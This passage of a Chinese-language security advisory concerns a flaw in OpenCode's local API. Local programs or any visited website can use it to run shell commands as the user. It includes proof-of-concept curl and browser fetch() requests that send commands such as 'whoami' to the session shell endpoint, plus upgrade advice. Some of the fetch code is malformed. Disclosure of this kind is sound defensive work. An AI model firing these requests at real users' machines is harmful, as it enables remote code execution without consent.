2、漏洞影响
本地利用:任何恶意的 npm 包、脚本或被攻破的应用程序都可以作为运行 OpenCode 的用户执行命令。
curl -s -X POST "$API/session/$SESSION_ID/shell" -H "Content-Type: application/json" \ -d '{"agent": "build", "command": "echo vuln exist!!! > /tmp/pwned.txt"}'|cat pwned.txt
浏览器跨域利用:任何网站都可以对运行OpenCode的访客执行命令。这使得通过恶意广告、被攻破的网站或钓鱼页面发动“路过”攻击成为可能。fetch('http://127.0.0.1:4096/session', { headers: {'Content-Type': 'application/json'}, fetch(`http://127.0.0.1:4096/session/${session.id}/shell`, { headers: {'Content-Type': 'application/json'}, body: JSON.stringify({agent: 'build', command: 'whoami' > /tmp/pwned.txt'})
3、修复建议
- 1.官方已发布安全补丁,请及时更新至最新版本:Opencode >= 1.0.216
下载地址:https://github.com/anomalyco/opencode/releases。
4、联系我们